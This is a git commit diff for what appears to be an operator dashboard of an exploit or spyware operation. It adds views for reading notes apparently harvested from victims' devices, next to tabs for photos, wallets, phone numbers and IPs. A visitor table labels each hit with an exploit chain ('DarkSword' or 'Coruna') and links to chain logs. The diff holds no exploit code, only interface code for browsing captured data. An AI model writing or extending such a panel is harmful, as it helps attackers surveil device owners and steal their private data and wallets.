feat: note

This commit is contained in:
hashbro
2026-09-08 04:53:35 +08:00
parent 9626fcc598
commit c1d24ab815
19 changed files with 870 additions and 58 deletions
+4
View File
@@ -24,6 +24,10 @@
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
.photo-thumb{position:relative;display:inline-block}
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
.note-card{background:#fff;border:1px solid #eee;border-radius:4px;padding:12px 14px;margin-bottom:10px}
.note-card-title{font-weight:600;margin-bottom:8px;word-break:break-word;color:#333}
.note-card-body{margin:0;white-space:pre-wrap;word-break:break-word;font-family:inherit;font-size:13px;line-height:1.55;color:#333}
.note-preview{color:#666;word-break:break-all}
/* Tables grow with the current page (e.g. 20 rows); the iframe/page scrolls. */
.layui-table-view{min-height:420px}
.layui-table-view .layui-table-box,
+46 -8
View File
@@ -36,7 +36,7 @@
<th>手机号</th>
<td>{{ $device->phone ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
<td>{{ $device->formattedIp() !== '' ? $device->formattedIp() : '—' }}</td>
</tr>
<tr>
<th>钱包</th>
@@ -196,6 +196,10 @@
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@elseif ($tab === 'notes')
<div id="LAY-note-cards"></div>
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
@else
@if ($tab === 'wallets')
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
@@ -446,6 +450,47 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
return;
}
if (tab === 'notes') {
var noteState = { page: 1, limit: 20 };
var renderNotes = function () {
$.getJSON(tabDataUrl, {
tab: 'notes',
page: noteState.page,
limit: noteState.limit
}, function (res) {
var $list = $('#LAY-note-cards').empty();
var items = (res && res.data) ? res.data : [];
if (!items.length) {
$('#LAY-note-empty').show();
} else {
$('#LAY-note-empty').hide();
items.forEach(function (it) {
var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
$list.append($card);
});
}
laypage.render({
elem: 'LAY-note-page',
count: (res && res.count) ? res.count : 0,
curr: noteState.page,
limit: noteState.limit,
limits: [10, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
noteState.page = obj.curr;
noteState.limit = obj.limit;
renderNotes();
}
});
});
};
renderNotes();
return;
}
var colsMap = {
wallets: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
@@ -499,13 +544,6 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
} }
]],
notes: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'content', title: 'Content', minWidth: 320, templet: function (d) {
return d.content ? '<span class="wrap">' + esc(d.content) + '</span>' : '—';
} },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
]],
events: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
+46 -10
View File
@@ -23,6 +23,7 @@
<div class="layui-card-body">
<table id="LAY-note-list" lay-filter="LAY-note-list"></table>
<script type="text/html" id="LAY-note-ops">
<a class="layui-btn layui-btn-xs" lay-event="view">查看</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
@@ -31,12 +32,40 @@
@push('scripts')
<script>
layui.use(['table', 'form'], function () {
var table = layui.table, form = layui.form;
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var dash = function (v) {
if (!v) return '—';
return v.length > 120 ? v.slice(0, 120) + '…' : v;
var esc = function (v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
};
var openNotes = function (d) {
var items = d.items || [];
var $wrap = $('<div class="note-drawer" style="padding:12px 16px;"></div>');
if (!items.length) {
$wrap.append($('<div style="color:#999;"></div>').text('暂无备忘录'));
} else {
items.forEach(function (it) {
var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
if (it.body && it.body !== it.title) {
$card.append($('<pre class="note-card-body"></pre>').text(it.body));
} else if (it.body) {
$card.append($('<pre class="note-card-body"></pre>').text(it.body));
}
$wrap.append($card);
});
}
layer.open({
type: 1,
title: '备忘录 · ' + (d.device_key || d.id) + '(' + items.length + ' 条)',
area: ['720px', '80%'],
shadeClose: true,
content: $wrap.prop('outerHTML')
});
};
table.render({
elem: '#LAY-note-list',
@@ -44,11 +73,14 @@ layui.use(['table', 'form'], function () {
url: @json(route($portal.'.notes.data')),
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'device_key', title: '设备 ID', width: 150 },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'content', title: '内容', minWidth: 280, templet: function (d) { return dash(d.content); } },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-note-ops' }
{ field: 'device_key', title: '设备 ID', width: 170 },
{ field: 'channel_id', title: '渠道 ID', width: 140, templet: function (d) { return d.channel_id ? '<code>' + esc(d.channel_id) + '</code>' : '—'; } },
{ field: 'item_count', title: '条数', width: 80, align: 'center' },
{ field: 'preview', title: '预览', minWidth: 280, templet: function (d) {
return d.preview ? '<span class="note-preview">' + esc(d.preview) + '</span>' : '—';
} },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
{ title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-note-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
@@ -59,6 +91,10 @@ layui.use(['table', 'form'], function () {
return false;
});
table.on('tool(LAY-note-list)', function (obj) {
if (obj.event === 'view') {
openNotes(obj.data);
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || obj.data.id);
+11 -11
View File
@@ -92,24 +92,24 @@ layui.use(['table', 'form', 'layer'], function () {
where: where,
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道', minWidth: 160 },
{ field: 'chain_label', title: '利用链', width: 120, templet: function (d) {
{ field: 'channel_id', title: '渠道', width: 90 },
{ field: 'chain_label', title: '利用链', width: 110, templet: function (d) {
var ds = Number(d.chain) === 1;
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
(ds ? 'DarkSword' : 'Coruna') + '</span>';
} },
{ field: 'client_uid', title: '访客 UID', width: 280 },
{ field: 'os', title: '系统', width: 90 },
{ field: 'os_version', title: '系统版本', width: 100 },
{ field: 'browser', title: '浏览器', width: 100 },
{ field: 'browser_version', title: '浏览器版本', width: 110 },
{ field: 'ip', title: 'IP', width: 130 },
{ field: 'client_uid', title: '访客 UID', width: 150 },
{ field: 'os', title: '系统', width: 80 },
{ field: 'os_version', title: '系统版本', width: 90 },
{ field: 'browser', title: '浏览器', width: 90 },
{ field: 'ip', title: 'IP', width: 140 },
{ field: 'country_label', title: '国家', width: 90, templet: function (d) {
return d.country_label || d.country || '—';
} },
{ field: 'referer', title: 'Referer', minWidth: 220 },
{ field: 'user_agent', title: 'UA', minWidth: 260 },
{ field: 'created_at', title: '时间', width: 170, sort: true },
{ field: 'browser_version', title: '浏览器版本', width: 110 },
{ field: 'referer', title: 'Referer', minWidth: 180 },
{ field: 'user_agent', title: 'UA', minWidth: 200 },
{ field: 'created_at', title: '时间', width: 170, sort: true, fixed: 'right' },
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
if (Number(d.chain) !== 1) return '—';
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';